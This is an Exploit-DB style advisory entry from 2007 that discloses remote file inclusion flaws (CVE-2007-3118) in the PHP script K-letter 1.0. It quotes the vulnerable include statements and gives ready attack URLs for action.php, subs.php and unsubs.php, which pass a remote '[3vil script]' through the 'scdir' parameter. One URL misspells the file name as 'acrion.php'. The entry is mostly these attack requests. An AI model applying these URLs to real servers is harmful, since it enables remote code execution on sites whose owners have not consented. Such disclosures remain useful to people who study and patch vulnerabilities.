Kravchuk letter script 1.0 - 'scdir' Remote File Inclusion
Author: Mehmet Ince
type: webapps
platform: php
port: nan
date_added: 2007-06-04
date_updated: 2007-06-05
verified: 1
codes: OSVDB-38799;CVE-2007-3118;OSVDB-38798;OSVDB-38797
tags:
aliases:
screenshot_url:
application_url:
++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++
+ K-letter 1.0 << Remote File include +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ DownloadScript: http://www.scripts.com.ua/download.php?ID=813 +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Cyber-warrior.org <<< sanal alemin DEV. +
+ +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ ERROR [1]; action.php? +
+ include ($scdir."admin/config.inc.php"); +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ BUG +
+ www.target.com/path/acrion.php?scdir=[3vil script] +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ ERROR [2]; subs.php? +
+ include $scdir."admin/config.inc.php"; +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ BUG +
+ www.target.com/path/subs.php?scdir=[3vil script] +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ ERROR [3]; unsubs.php? +
+ include $scdir."admin/config.inc.php"; +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ BUG +
+ www.target.com/path/unsubs.php?scdir=[3vil script] +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+DORK:( +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++CYBER-SECURITY+++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# milw0rm.com [2007-06-05]